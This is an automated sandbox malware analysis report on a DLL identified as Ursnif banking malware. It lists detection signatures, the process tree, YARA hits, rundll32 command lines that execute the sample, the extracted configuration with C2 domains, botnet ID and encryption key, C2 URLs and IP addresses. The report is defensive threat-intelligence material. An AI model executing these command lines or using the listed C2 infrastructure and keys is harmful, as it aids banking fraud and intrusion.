Play interactive tour

Edit tour

Analysis Report 0204_1.gif.dll

Overview

General Information

Sample Name:	0204_1.gif.dll
Analysis ID:	382559
MD5:	6ebc18a521638630f9b89ddb23c13b22
SHA1:	6bf2fd63e47f2b278ef75cca3893d87855c646d6
SHA256:	65179a35467708828de13c9a53f254c956cc4235a0196e3c53ca5022c176a6aa
Tags:	dllGGGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5452 cmdline: loaddll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4904 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 68 cmdline: rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2628 cmdline: rundll32.exe C:\Users\user\Desktop\0204_1.gif.dll,StartService MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 6664 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6708 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6972 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6664 CREDAT:82952 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6780 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 1268 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5188 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6780 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6384 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 3360 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6384 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 68	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 5452	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.rundll32.exe.bd0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
1.2.loaddll32.exe.2ed0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.2.rundll32.exe.be0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
1.2.loaddll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.2.rundll32.exe.10000000.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.rundll32.exe.bd0000.1.raw.unpack

Malware Configuration Extractor: Ursnif [[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Multi AV Scanner detection for domain / URL

Show sources

Source: urs-world.com	Virustotal: Detection: 5%			Perma Link
Source: under17.com	Virustotal: Detection: 5%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: 0204_1.gif.dll

ReversingLabs: Detection: 54%

Machine Learning detection for sample

Show sources

Source: 0204_1.gif.dll

Joe Sandbox ML: detected

Source: 5.2.rundll32.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 1.2.loaddll32.exe.1200000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen3
Source: 1.2.loaddll32.exe.10000000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: 0204_1.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F912D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		1_2_02F912D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D712D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		5_2_02D712D4

Source: Joe Sandbox View	IP Address: 185.243.114.196 185.243.114.196
Source: Joe Sandbox View	IP Address: 185.186.244.95 185.186.244.95

Source: Joe Sandbox View	ASN Name: ACCELERATED-ITDE ACCELERATED-ITDE
Source: Joe Sandbox View	ASN Name: WEBZILLANL WEBZILLANL

Source: global traffic	TCP traffic: 192.168.2.3:49731 -> 185.243.114.196:80
Source: global traffic	TCP traffic: 192.168.2.3:49758 -> 185.186.244.95:80

Source: unknown

DNS traffic detected: queries for: login.microsoftonline.com

Source: GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.14.dr	String found in binary or memory: http://feross.org
Source: ~DF4EC0ACC0598C2A74.TMP.28.dr, {FBAD85DA-96F8-11EB-90E4-ECF4BB862DED}.dat.28.dr	String found in binary or memory: http://under17.com/joomla/5Ee9Djbm01gK/tl8o1rQRrf7/ve4VcCWGPHbKdt/oB2JQB1Ds_2Fi7cV4n7xM/odh0a6MBnYBo
Source: {FBAD85D8-96F8-11EB-90E4-ECF4BB862DED}.dat.28.dr	String found in binary or memory: http://under17.com/joomla/7ilxUUc2eQiB_2BWW/6r_2BMwbjonk/83d_2FHHC15/HJRFbBiTdFKAEO/luoufpwcpxd9B2Df
Source: {12812620-96F9-11EB-90E4-ECF4BB862DED}.dat.38.dr	String found in binary or memory: http://urs-world.com/joomla/swXAVHGoBGvGk1d/ryn6afaNNl5GqYjk6D/Ylnh1Zekh/Fo40Y2SBz206KbWZIB4F/dye0VS
Source: ~DFB5C248C8321BA21B.TMP.38.dr, {12812622-96F9-11EB-90E4-ECF4BB862DED}.dat.38.dr	String found in binary or memory: http://urs-world.com/joomla/xTET0B_2F/unrIzOSyB0AEFaeRqGqR/IAdUqUxpeEtOrtoms_2/FwF1t6izGIt_2BMjrNqXK
Source: ~DF9401D896BB639998.TMP.13.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/es-h
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/das-alles-h
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/l
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/auf-schmusekurs-mit-erdogan-eu-spitzen-reisen-in-die-t
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?oc
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/neuseeland-und-australien-starten-quarant
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj
Source: msnpopularnow[1].json.14.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/ressourcen-f

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.bd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.2ed0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 68, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5452, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000002.486714562.0000000000BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.248258066.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.487763309.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.bd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.2ed0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.323251536.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318966853.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318950554.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.480525805.0000000004DAF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323328029.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.319029773.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318997670.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323362066.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.401164058.0000000003A2D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318987145.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480876876.000000000392F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323281366.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323298116.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.404525963.0000000004EAD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.318925659.0000000003B2B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.323337362.0000000004FAB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 68, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5452, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10001D9F NtMapViewOfSection,	1_2_10001D9F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10001EB5 GetProcAddress,NtCreateSection,memset,	1_2_10001EB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10002375 NtQueryVirtualMemory,	1_2_10002375
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F983B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	1_2_02F983B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9B341 NtQueryVirtualMemory,	1_2_02F9B341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D783B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	5_2_02D783B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D7B341 NtQueryVirtualMemory,	5_2_02D7B341

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10002154	1_2_10002154
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F94094	1_2_02F94094
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F997F2	1_2_02F997F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_02F9B11C	1_2_02F9B11C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA348F	4_2_02CA348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA3BDB	4_2_02CA3BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA28EB	4_2_02CA28EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA20EE	4_2_02CA20EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA52EC	4_2_02CA52EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA5AF6	4_2_02CA5AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA3A85	4_2_02CA3A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA1B95	4_2_02CA1B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA3FA8	4_2_02CA3FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA554B	4_2_02CA554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA4859	4_2_02CA4859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA596E	4_2_02CA596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA237B	4_2_02CA237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA247B	4_2_02CA247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA5C76	4_2_02CA5C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA1374	4_2_02CA1374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA1000	4_2_02CA1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA1918	4_2_02CA1918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA3314	4_2_02CA3314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02CA6424	4_2_02CA6424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD348F	5_2_02CD348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD3BDB	5_2_02CD3BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD52EC	5_2_02CD52EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD20EE	5_2_02CD20EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD28EB	5_2_02CD28EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD5AF6	5_2_02CD5AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD3A85	5_2_02CD3A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD1B95	5_2_02CD1B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD3FA8	5_2_02CD3FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD554B	5_2_02CD554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD4859	5_2_02CD4859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD596E	5_2_02CD596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD237B	5_2_02CD237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD247B	5_2_02CD247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD1374	5_2_02CD1374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD5C76	5_2_02CD5C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD1000	5_2_02CD1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD1918	5_2_02CD1918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD3314	5_2_02CD3314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02CD6424	5_2_02CD6424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D74094	5_2_02D74094
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D797F2	5_2_02D797F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_02D7B11C	5_2_02D7B11C

Source: 0204_1.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal92.troj.winDLL@21/108@9/2

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_02F9757F CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_02F9757F

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF429EC30D8A24338F.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204_1.gif.dll,StartService

Source: 0204_1.gif.dll

ReversingLabs: Detection: 54%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204_1.gif.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204_1.gif.dll,StartService
